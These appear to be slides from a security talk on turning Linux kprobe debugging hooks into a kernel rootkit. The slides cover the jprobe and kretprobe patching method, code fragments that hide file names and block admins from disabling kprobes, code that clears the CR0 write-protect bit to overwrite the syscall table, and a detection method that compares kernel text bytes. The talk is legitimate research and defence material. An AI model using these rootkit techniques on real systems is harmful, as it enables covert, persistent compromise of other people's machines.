Kprobes Presentation Overview

- This talk is about how using the Linux kprobe kernel debugging API, may be used to subvert the kernels integrity by manipulating jprobes and kretprobes to patch the kernel.
- This material is based on a more extensive paper recently released in phrack.
- This talk will cover the kprobe implementation on a higher level than the paper.

Kprobe instrumentation for anti-security

- Kprobes are a native Linux kernel API that are enabled by default in most stock kernels.
- Kprobes ultimately rely on the debug registers of an architecture. X86_32 is our focus.
- Kprobes are a set of kernel functions that allow a caller to dynamically break into almost any routine (or instruction) without disruption to collect debugging information.

Kprobe functions for our purpose

- register_kprobe() sets a breakpoint at the instruction to be probed.
- register_jprobe() sets a breakpoint at the entry point of a function that we want to probe, allowing us access to a copy of the stack parameters.
- register_kretprobe() replaces the return address of a specified function to point to trampoline code which sets up a handler:
- my_handler(struct kretprobe_instance *, struct pt_regs *)
- Kretprobes (Return probes) cannot modify the return value-- only inspect data (And modify it)

Essential topics we will cover

- How we utilize kprobes to our advantage
- Basic code for intercepting a kernel function
- Kretprobe (Return probe) patching technique
- Using pointers on the **copy** of the jprobed functions stack segment.
- Jprobe implementation (High level overview)
- File hider rootkit using jprobes/kretprobes
- Detecting kprobe rootkits.
- Weaknesses and advantages of using kprobes

Utilizing kprobes to our advantage 1.1

- Kprobes can set a break point in the text segment anywhere except certain designated functions which have the __kprobe attribute.
- Stack values cannot be modified since we get a copy of the stack (And a copy of the instructions).
- *We CAN modify global kernel data allocated from the slab (Essentially global kernel data structures). I.E current->mm->mmap->vm_flags*
- *We CAN modify pointer values on the copy of our stack.*

Utilizing kprobes to our advantage 1.2

- Setting a jprobe, which is a 'kprobe abstraction'- to inspect kernel function data is the first step in the return probe technique for kernel patching

- NOTE: Remember that we cannot modify the return value, and modification to any stack arguments won't matter because they are an allocated copy of the stack arguments. This is not general function hooking.

linux/samples/kprobes/jprobe_example.c

```
– A basic jprobe hook that was registered Using register_jprobe() for do_fork()
function --
static long jdo_fork(unsigned long clone_flags, unsigned long stack_start,
        struct pt_regs *regs, unsigned long stack_size,
        int __user *parent_tidptr, int __user *child_tidptr)
{

    – Here we get a copy of the stack to analyze values or modify global kernel
–
    – data structures. jprobe_return() is imperative otherwise do_fork will fail –
    – all together.

    /* Always end with a call to jprobe_return(). */
    jprobe_return();
    return 0;
}
static struct jprobe my_jprobe = {
    .entry              = jdo_fork,
    .kp = {
        .symbol_name    = "do_fork", /* kallsyms_lookup_name is used */
    },
};
```

Return probe patching technique

Our algorithm is as follows:

1. Set jprobe on kernel function, and collect any relevant stack arguments into a static global LKM struct of some type that meets the requirements.

2. Once the real kernel function is done executing it will have modified certain global data structures that we are interested in (Such as anything in task_struct).

3. After the real function modifies global data structures we can decide based on our saved values whether or not we want to change those global data structures in our return probe. So the point is, that we get to set the verdict on global data structures with a return probe.

Another explanation of return probe patching technique.

1. [jprobe handler for function_A] → What do we set global data too?
2. [function_A] → Sets global data structures
3. [kretprobe to patch global data structures] → Reset global data structures

So in step 1 we might check an integer serving as a flag from a stack argument. We save this data in a global variable declared in our LKM.

In step 2 global kernel data will be set based on those flags, which we have no control over, but lo and behold – step 3 serves as the kretprobe we planted.

In step 3 we reset that kernel data if it suits our needs, and we get the final verdict.

How could we actually use techniques like this to make file hiding possible? Lets continue...

Jprobe patching combined with return probe patching technique.

• In many cases we can actually modify a global data structure within our copy of a jprobe function in a manner that modifies the way the real function behaves.

• If we get the 'struct file' associated with the 'long fd' in sys_write, we can redirect it to /dev/null or anywhere else.

• The following execution of the real sys_write would use that redirected 'fd' because it is associated with task_struct (A global data structure). When we get ahold of 'current' it is not the one on the copy of the stack so we can modify it, and it will stick.

• This concept is actually applied in the file hider rootkit we will see in the slides that follow.

Modifying stack pointers

- If a pointer is passed as a parameter on our copy of the stack, we can access that location from kernel space.
- As an example from our mini-rootkit:

```
– From j_filldir64, our jprobe handler where we save a pointer to d_name --
   /*
    *  Save address to where the name of the file we want hidden
    *  is stored so that we may nullify it in our return probe.
    */
   g_dentry.d_name_ptr = (unsigned long)(unsigned char *)dirent->d_name;

  – We can then modify the d_name (Or nullify it in our case) from the –
 – return probe by doing the following                                  –

          ptr = (char *)g_dentry.d_name_ptr;
          copy_to_user((char *)ptr, &null, sizeof(char));
```

Jprobe implementation 1.1

```
struct kprobe {
        struct hlist_node hlist;
        /* list of kprobes for multi-handler support */
        struct list_head list;
        unsigned long nmissed;
        kprobe_opcode_t *addr; // location of probe point
        const char *symbol_name;
        unsigned int offset;
        kprobe_pre_handler_t pre_handler; // the handler/function
that is called during the trap.
        kprobe_post_handler_t post_handler; // the handler that
does clean up
        kprobe_fault_handler_t fault_handler;
        kprobe_break_handler_t break_handler;
        kprobe_opcode_t opcode;
        struct arch_specific_insn ainsn;
        u32 flags;
}
```

A kprobe instruction trap calls the pre_handler which has a prototype like this:

```
int handler_pre(struct kprobe *p, struct pt_regs *regs)
```

Jprobes are built upon kprobe implementation

```
struct jprobe {
        struct kprobe kp;
        void *entry;    /* probe handling code to jump
to */
};
```

Example to hook sys_write:

```
struct jprobe jp;
jp.kp.addr = kallsyms_lookup_name(”sys_write”);
jp.entry = (opcode_t *)my_sys_write;
```

We would then call register_jprobe(&jp);

What happens

Jprobe implementation 1.2

- register_jprobe() calls register_jprobes()

-- commented snippet from register_jprobes() in /usr/src/linux/kernel/kprobes.c --

```
 /* See how jprobes utilizes kprobes? It uses the */
 /* pre/post handler  and sets it to a jprobe initializer*/
/* function */

 jp->kp.pre_handler =  setjmp_pre_handler;
 jp->kp.break_handler = longjmp_break_handler;
 ret = register_kprobe(&jp->kp);
--
```

Jprobe implementation 1.3

• setjmp_pre_handler function is assigned to the struct kprobe's pre_handler function pointer for the jprobes implementation.

• As seen in the previous slide, register_jprobe() ultimately ends up with register_kprobe() and kprobe pre_handler is assigned to a function that sets up jprobes by

1. saving the register state
2. making a copy of the stack arguments
3. Set %eip to the jprobe handler for the function (jp.entry) which must have the exact same parameter layout, return value type, and compiler specifications (Such as asmlinkage)

Jprobe implementation 1.4

- jprobe_return() is at the end of a jprobe function which invokes The kprobes post handler.
- The post handler for jprobes essentially restores the stack and returns eip back to the original function that is being probed.
- The post handler is longjmp_break_handler() which restores the registers and stack like so:

```
*regs = kcb->jprobe_saved_regs;
memcpy((kprobe_opcode_t *)(kcb->jprobe_saved_sp),
            kcb->jprobes_stack,
            MIN_STACK_SIZE(kcb->jprobe_saved_sp));
```

Kprobe rootkit file hider features

1. LKM Module

2. Includes file hiding mechanism

3. Does not allow admin to disable kprobes
With 'echo 0 > /sys/kernel/debug/kprobes/enabled'

4. Probed functions do not show up in
/sys/kernel/debug/kprobes/list

5. Uses jprobes and kretprobes only.

Rootkit approach

1. (In jprobe) Save the dirent d_name pointer from the copy of the stack args in LKM global g_dentry.dptr.

3. In our return probe we close the original file descriptor, and copy_to_user the null byte for the file that we want hidden only if g_dentry.file_hide == 1; So the file name Is '\0' Which shows up as nothing however...

2. note: ls does a stat on '\0' which results in a stderr message that we must rid by redirecting the file descriptor passed to sys_write to /dev/null, we do sanity Checks such as making sure current->comm is 'ls' first etc. We can modify anything In the current task_struct pointer, and it will persist even after the jprobe hook.

4. (MITIGATION) Our LKM code contains the inode numbers for
/sys/kernel/debug/kprobes/list
/sys/kernel/debug/kprobes/enabled
Attempts to disable kprobes by writing 0 into 'enabled' will fail. We do some checks in our sys_write jprobe and redirect the 0 to /dev/null if necessary. This makes our rootkit unable to be disabled unless the module is removed. If a sys_write is performed where its 'struct' file' fd pertains to the 'list' inode and the sys_write String matches a symbol we have registered, we direct that to null as well so that It does that suspicion does it arise when filldir64 and sys_write show up in the kprobe List within sysfs.

Rootkit example

```
# ls
jkit1.c   jkit1.mod.c  jkit1.o  modules.order   test1  test3
jkit1.ko  jkit1.mod.o  Makefile Module.symvers  test2
# insmod jkit1.ko
# ls
 jkit1.c  jkit1.ko  jkit1.mod.c  jkit1.mod.o  jkit1.o Makefile
modules.order  Module.symvers

# echo 0 > /sys/kernel/debug/kprobes/enabled
# ls
 jkit1.c  jkit1.ko  jkit1.mod.c  jkit1.mod.o jkit1.o Makefile

# cat /sys/kernel/debug/kprobes/list
#
```

Rootkit Detection Approach 1.1

- Remember a breakpoint will be inserted at the first byte of a kprobed function.

- The kprobed functions will either be unlinked from the sysfs kprobe kobject, or (As in our case) not visible via sys_write in /sys/kernel/debug/kprobes/list

Rootkit detection approach 1.2

A tool such as 'kmemstat' which is a tool I designed for 2.6.22 and above kernels uses the following steps.

1. Decompress vmlinuz
2. Use the section headers to determine .text and .rodata
2. Use the section headers to determine .altinstructions
3. Parse and apply alternative instructions (Runtime memory barrier patches).
4. Compare patched vmlinux text to kmem text.

Rootkit detection approach 1.3

```
# ./kmemstat -k vmlinux -M -v -s sys_write
[sys_write <0xc0218f60>] is 1150816 bytes into the text segment, and ends at 0xc0218fcf

[+] Start vaddr: 0xc0218f60 End Vaddr: 0xc0218fcf
[0xc0218f60] Bytes do not match:
[Original] x55 [Modified] xcc
```

- So we can see a breakpoint has been set at sys_write+0x0.
- cat /sys/kernel/debug/kprobes/list
- If you do not see sys_write+0x0 then it is almost certain to be a kprobe rootkit. The
  The same would apply to filldir64+0x0 since we set a jprobe on it.

Weaknesses/advantages

- The strength in using kprobes for anti-security is that if done correctly can be easily overlooked by most rootkit detection tools.

- The weakness is that the limitations upon the existing functions abstracted around kprobes make writing certain types of patches difficult.

Text poke 1.2

```
static void disable_wp(void)
{
        unsigned int cr0_value;

        asm volatile ("movl %%cr0, %0" : "=r" (cr0_value));

        /* Disable WP */
        cr0_value &= ~(1 << 16);

        asm volatile ("movl %0, %%cr0" :: "r" (cr0_value));

}
```

Text poke 1.2

```
static void enable_wp(void)
{
        unsigned int cr0_value;

        asm volatile ("movl %%cr0, %0" : "=r" (cr0_value));

        /* Enable WP */
        cr0_value |= (1 << 16);

        asm volatile ("movl %0, %%cr0" :: "r" (cr0_value));

}
```

Text poke example

The following code is a trivial example of modifying the Syscall table which resides in .rodata (text segment).

```
disable_wp();
sys_call_table[__NR_write] = (void *)n_sys_write;
enable_wp();
```

How Linux patches itself

- Many developers stay away from kernel function trampolines because of the non-atomic memcpy
- From arch/x86/kernel/altnernative.c

```
/* text_poke - Update instructions on a live kernel.
* * Note: Must be called under text_mutex.
*/
void *__kprobes text_poke(void *addr, const void *opcode,
size_t len)
.
```

Questions or coments?

Questions or comments welcome
My email address is
ryan@innosecc.com
Thank you for attending my talk and I'm happy to discuss the techniques in more detail.